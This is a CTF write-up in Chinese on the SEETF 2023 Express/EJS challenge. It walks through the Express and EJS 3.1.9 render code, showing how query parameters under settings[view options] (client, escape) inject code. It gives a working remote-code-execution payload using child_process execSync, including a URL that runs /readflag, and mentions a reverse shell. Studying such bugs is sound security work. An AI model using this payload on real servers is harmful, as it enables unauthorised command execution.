首页 > 编程语言 >SEETF-2023 express-javascript-security ejs相关漏洞

SEETF-2023 express-javascript-security ejs相关漏洞

时间:2024-06-19 21:35:56浏览次数:28  
标签:javascript express cache SEETF var data options opts view

今天做个ejs相关题目。进入页面只发现一个输入框,题目标签是ejs相关,去github看看源码,发现ejs版本为3.1.9,可以确定地是rce漏洞。

接下来说说这个rce漏洞。3.1.9版本的rce漏洞主要是因为使用了这个模板来构建网页逻辑导致的。

点击查看代码
// index.js
const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/', (req,res) => {
    res.render('index', req.query);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
可以发现res.render('index', req.query),这里的req.query就是传入的data,而这个模式没有进行过滤,导致我们可以输入一些非法的东西来进行攻击,像是原型链污染。造成问题的根源主要发生过程如下: res.render()回先到达response.js。
response.js
res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};
去看看app.render()。
application.js
app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge app.locals
  merge(renderOptions, this.locals);

  // merge options._locals
  if (opts._locals) {
    merge(renderOptions, opts._locals);
  }

  // merge options
  merge(renderOptions, opts);

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

  // primed cache
  if (renderOptions.cache) {
    view = cache[name];
  }

  // view
  if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

    if (!view.path) {
      var dirs = Array.isArray(view.root) && view.root.length > 1
        ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
        : 'directory "' + view.root + '"'
      var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
      err.view = view;
      return done(err);
    }

    // prime the cache
    if (renderOptions.cache) {
      cache[name] = view;
    }
  }

  // render
  tryRender(view, renderOptions, done);
};
转向了tryRender。
点击查看代码
function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}
view.render会去呼叫view engine里的 __express 方法,而这个方法在EJS里面就是renderFile。
点击查看代码
exports.__express = exports.renderFile;


exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = utils.createNullProtoObjWherePossible();
  }

  return tryHandleCache(opts, data, cb);
};
其主要代码就是中间的一段。
点击查看代码
if (data.settings) {
  // Pull a few things from known locations
  if (data.settings.views) {
    opts.views = data.settings.views;
  }
  if (data.settings['view cache']) {
    opts.cache = true;
  }
  // Undocumented after Express 2, but still usable, esp. for
  // items that are unsafe to be passed along with data, like `root`
  viewOpts = data.settings['view options'];
  if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
  }
}
显而易见,我们只要设置了data.settings['view options']就可以覆盖掉opts,从而造成漏洞。再去看看tryHandleCache()。
点击查看代码
function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;

  if (options.cache) {
    if (!filename) {
      throw new Error('cache option requires a filename');
    }
    func = exports.cache.get(filename);
    if (func) {
      return func;
    }
    if (!hasTemplate) {
      template = fileLoader(filename).toString().replace(_BOM, '');
    }
  }
  else if (!hasTemplate) {
    // istanbul ignore if: should not happen at all
    if (!filename) {
      throw new Error('Internal EJS error: no file name or template '
                    + 'provided');
    }
    template = fileLoader(filename).toString().replace(_BOM, '');
  }
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}
如果options.cache存在设置,那么就直接用cache中存在的已经compile过的,否则就重新compile。而重点就在compile中,里面有一段如下:
点击查看代码
if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}
那么我们只需要传入数据:
点击查看代码
const payload = {
  settings: {
    'view options': {
      client: true,
      escapeFunction: '(() => {});return process.mainModule.require("child_process").execSync("id").toString()'
    }
  }
}
换个方式也就是settings[view options][escape]=JSON.stringify;process.mainModule.require('child_process').execSync('id')&settings[view options][client]=1就可以达到rce注入的目的。

回到本题中那么我们开始构造,在源码main.js中有这么一段代码:

点击查看代码
app.get('/greet', (req, res) => {
    
    const data = JSON.stringify(req.query);

    if (BLACKLIST.find((item) => data.includes(item))) {
        return res.status(400).send('Can you not?');
    }

    return res.render('greet', {
        ...JSON.parse(data),
        cache: false
    });
});
那么我们就可以构造payload为/greet?name=x&settings[view options][escape]=JSON.stringify;process.mainModule.require('child_process').execSync('/readflag >> index.ejs')&settings[view options][client]=1&font=x&fontSize=x 这段url中的命令是执行根目录下的readflag输出结果到index.ejs中,我们重新访问主页面即可得到flag,也可以进行反弹shell来进行。

主要相关具体讲解以及ejs其他题型看 https://github.com/aszx87410/blog/issues/139

标签:javascript,express,cache,SEETF,var,data,options,opts,view
From: https://www.cnblogs.com/jocker-love-you/p/18257450

相关文章

  • 【JavaScript脚本宇宙】终极对决:JavaScript表单库比较指南
    简化你的表单开发:六种流行JavaScript库的深入比较前言在现代网页开发中,表单处理是一个常见的任务。为了简化这个过程并提供更好的用户体验,许多开发人员使用JavaScript库来管理表单数据、验证和提交。本文将介绍六种流行的JavaScript表单库,它们具有不同的功能和适用场景。......
  • Javascript入门博客【入门复习(学习)使用】
    JavaScript是一门高级,解释形语言,大量用于关于web网站的开发,可以和网页联动做出更多有趣的动画效果。其运行方式大都是嵌入在网页中运行。其实在定义方面如果过你是初学者来学习和这方面相关的知识,知道上面这些就已经足够了。我们可以在浏览器中直接进行对代码的控制,进入浏览器......
  • 如何使用JavaScript实现在线Excel附件的上传与下载?
    前言在本地使用Excel时,经常会有需要在Excel中添加一些附件文件的需求,例如在Excel中附带一些Word,CAD图等等。同样的,类比到Web端,现在很多人用的在线Excel是否也可以像本地一样实现附件文件的操作呢?答案是肯定的,不过和本地不同的是,Web端不会直接打开附件,而是使用超链接单元格的......
  • 深入理解JavaScript中的闭包与作用域链
    作为一名JavaScript开发者,了解闭包与作用域链是非常重要的。本文将深入探讨这两个概念,帮助您更好地理解JavaScript的运行机制。作用域链在JavaScript中,每个函数都有一个属于自己的作用域,称为局部作用域。当函数被执行时,会创建一个执行上下文,其中包括局部作用域和其父级作用域......
  • 掌握异步编程:探索JavaScript中的Promise与async/await
    在现代JavaScript开发中,异步编程已经成为了不可或缺的一部分。为了更好地处理异步操作,JavaScript引入了Promise和async/await两个重要概念。本文将带您了解这两个概念,帮助您掌握异步编程。 PromisePromise是异步编程的一种解决方案,它表示一个异步操作的最终完成(或失败)及其结......
  • JavaScript之BOM
    BOMBOM将浏览器中的各个部分转换成了一个一个的对象,我们通过修改这些对象的属性,调用他们的方法,从而控制浏览器的各种行为BOM对象window用来存储所有全局的属性和方法windows对象表示浏览器当前打开的窗口window对象是BOM的核心,它表示一个浏览器的实例。在浏览器中......
  • JavaScript之DOM
    DOMDOM,全称DocumentObjectModel文档对象模型。JS中通过DOM来对HTML文档进行操作。只要理解了DOM就可以随心所欲的操作WEB页面,改变页面的内容、结构、样式。文档文档表示的就是整个的HTML网页文档对象对象表示将网页中的每一个部分都转换为了一个对象(通过修改对象去修......
  • JavaScript基础部分知识点总结(Part2)
    初识JavaScript1.JavaScript是什么JavaScript是世界上最流行的语言之一,是一种运行在客户端的脚本语言(Script是脚本的意思)脚本语言:不需要编译,运行过程中由js解释器(js引擎)逐行来进行解释并执行现在也可以基于Node.js技术进行服务器端编程2.JavaScript的作用表单动态校......
  • JavaScript中各种源码实现
    文章目录JavaScript中各种源码实现1.实现一个new操作符2.实现一个Array.isArray3.实现一个Object.create()方法4.实现一个EventEmitter5.实现一个Array.prototype.reduce6.实现一个call或apply7.实现一个Function.prototype.bind8.实现一个JS函数柯里化9.手写防......
  • ​b站视频演示效果:【web前端特效源码】使用HTML5+CSS3+JavaScript十分钟快速制作一个
    b站视频演示效果:【网页设计期末大作业源代码】使用HTML5+CSS3+JavaScript十分钟快速制作一个简约大气卡通动漫静态网站|自制超简单的卡通类网页,响应式自适应新手友效果图:完整代码:<!DOCTYPEhtml><html><head><title>Home</title><metaname="viewpor......